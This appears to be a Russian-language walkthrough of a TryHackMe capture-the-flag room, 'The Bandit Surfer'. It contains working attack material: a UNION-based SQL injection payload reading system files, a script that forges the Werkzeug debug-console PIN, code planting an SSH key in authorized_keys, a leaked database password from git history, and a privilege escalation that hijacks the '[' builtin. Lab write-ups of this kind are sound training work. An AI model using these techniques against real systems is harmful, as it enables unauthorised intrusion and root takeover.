Logo

The Bandit Surfer

The Bandit Yeti is surfing to town.

The Bandit Surfer

TryHackMe: Прохождение комнаты The Bandit Surfer. Заключительная часть побочного квеста Advent of Cyber 2023.

Просканируем с помощью nmap все порты (-p-) цели в ускоренном режиме (-T4) и с отображением версий (-sV) сервисов:

$ nmap -T4 -sV -p- $RHOST
nmap

Проверим доступ по ssh, там вход закрыт и доступен только по ключам. Изучим веб-сервис на 8000 порту – это некое приложение в раннем доступе для скачивания изображений. Ссылка на скачивание выглядит следующим образом: http://$RHOST:8000/download?id=xx.

  • принимает целочисленный параметр id

  • если указать неверное значение, получаем трассировку с сообщением об ошибке.

What is the user flag?

Из ошибки, как и из результатов сканирования следует, что веб-приложение использует Werkzeug. Данная библиотека хорошо известна и имеет в наличии консоль с доступом к python’у для отладки приложения. Попробуем открыть данный адрес: http://$RHOST:8000/console. Как и ожидалось, там располагается панель для отладки, но она защищена неизвестным пин-кодом. Откроем исходный код библиотеки и посмотрим как генерируется данный пин-код, а конкретно функция get_pin_and_cookie_name(). Самое интересное это то, какие данные используются в алгоритме:

    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    private_bits = [str(uuid.getnode()), get_machine_id()]
  • username – имя пользователя, его видно в трассировке как часть директории.

  • modnameflask.app

  • getattr(app, "__name__", type(app).__name__)Flask

  • getattr(mod, "__file__", None) – абсолютный путь к приложению, его так же видно из трассировки (/home/#redacted#/flask/app.py).

  • uuid.getnode() – mac-адрес машины.

  • get_machine_id() – для разных ОС считается разными способами, в случае нашей машины, а это линукс, гарантировано берется значение из /etc/machine-id, а так же опционально возможно это значение нужно сложить со значением из /proc/sys/kernel/random/boot_id и строкой после последнего символа / из первой строки в файле /proc/self/cgroup.

Итого первые четыре значения имеются сразу, необходимо узнать мак-адрес и идентификатор машины.

Вернемся к ссылке для скачивания изображений. Проверим её на SQL-инъекции:

$ sqlmap -u "$RHOST:8000/download?id=1"

Получим перечень обнаруженных возможных типов инъекций: слепая, основанная на ошибках, на временны́х задержках, с запросом на объединение.

Сдампим содержимое базы:

Database: elfimages
[1 table]
+---------------------------------------+
| elves                                 |
+---------------------------------------+

Database: elfimages
Table: elves
[4 entries]
+----+--------+------------------------------------------------+
| id | url_id | url                                            |
+----+--------+------------------------------------------------+
| 1  | 1      | http://127.0.0.1:8000/static/imgs/mcblue1.svg  |
| 2  | 2      | http://127.0.0.1:8000/static/imgs/mcblue2.svg  |
| 3  | 3      | http://127.0.0.1:8000/static/imgs/mcblue3.svg  |
| 4  | 4      | http://127.0.0.1:8000/static/imgs/suspects.png |
+----+--------+------------------------------------------------+

Ничего примечательного нет, судя по всему, приложение работает довольно примитивно: берет идентификатор url_id и выдает файл по соответствующему полю url. Попробуем осуществить подделку запроса на стороне сервера (SSRF), сделав такой запрос в результате которого значение url будет подменено нашим.

http://10.10.89.98:8000/download?id=NONEXIST' UNION ALL SELECT CONCAT("file:///etc/machine-id")-- -

Запрос работает, получаем файл /etc/machine-id. Повторим то же самое для /sys/class/net/eth0/address и получим mac-адрес.

Теперь имеется полный набор данных необходимых для генерации пин-код:

from requests import request
from itertools import chain
import hashlib

probably_public_bits = [
    '', # имя пользователя
    'flask.app',
    'Flask',
    '', # абсолютный путь к приложению
    ]

private_bits = [
    str(int("00:00:00:00:00:00".replace(':', ''), base=16)), # mac-адрес
    '' # идентификатор машины
    ]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                            for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print('PIN:', rv)

Получив пин-код теперь можно успешно авторизоваться в отладочной консоли Werkzeug. Для удобства сразу добавим свой ssh-ключ на сервер:

with open("/home/mcskidy/.ssh/authorized_keys", "a") as myfile:
	myfile.write("ssh-rsa AAAAB...cCmE8= cr4cker")

Ключи можно сгенерировать при помощи команды ssh-keygen, после чего необходимо передать содержимое файла id_rsa.pub

Теперь можно комфортно подключиться, первый флаг (user.txt) сразу же в домашней директории:

$ ssh "mcskidy@$RHOST" -i .ssh/id_rsa
Первый флаг

What is the root flag?

What is the yetikey4.txt flag?

Проверим веб-приложение (~/app), там можно обнаружить git-репозиторий, если посмотреть историю коммитов (git log), то находится интересный коммит с заголовком “Changed MySQL user”. Изучим его:

$ git diff e9855c8a10cb97c287759f498c3314912b7f4713
diff --git a/app.py b/app.py
index 5f5ff6e..875cbb8 100644
--- a/app.py
+++ b/app.py
@@ -10,7 +10,7 @@ app = Flask(__name__, static_url_path='/static')
 # MySQL configuration
 app.config['MYSQL_HOST'] = 'localhost'
 app.config['MYSQL_USER'] = 'mcskidy'
-app.config['MYSQL_PASSWORD'] = '#redacted#'
+app.config['MYSQL_PASSWORD'] = 'fSXT8582GcMLmSt6'
 app.config['MYSQL_DB'] = 'elfimages'
 mysql = MySQL(app)

Получаем старый и новый пароль пользователя в MySQL. Высока вероятность, что один из них может являться действующим паролем в системе. Пробуем старый, он является действующим:

sudo -l

Пользователю доступен для запуска некий скрипт от имени root пользователя. Внимательно изучим данный скрипт:

#!/bin/bash
. /opt/.bashrc
cd /home/mcskidy/

WEBSITE_URL="http://127.0.0.1:8000"

response=$(/usr/bin/curl -s -o /dev/null -w "%{http_code}" $WEBSITE_URL)

# Check the HTTP response code
if [ "$response" == "200" ]; then
  /usr/bin/echo "Website is running: $WEBSITE_URL"
else
  /usr/bin/echo "Website is not running: $WEBSITE_URL"
fi

Скрипт проверяет работу веб-приложения и на первый взгляд ничем не может помочь в эскалации привилегий. Однако он импортирует /opt/.bashrc. Изучим данный скрипт. На первый взгляд он выглядит как стандартный .bashrc, но сравним с эталонным:

$ diff /opt/.bashrc ~/.bashrc
4c4
< enable -n [ # ]
---
>

Отличия все же имеются, отменяется использование встроенной команды [. А данная команда используется в скрипте, можно подменить её на свою. Создадим исполняемый файл [ единственной задачей которого будет передача управления оболочке (/bin/bash) и запустим скрипт /opt/chech.sh от имени root пользователя:

Финальный флаг

На этом всё,
первые части прохождений здесь.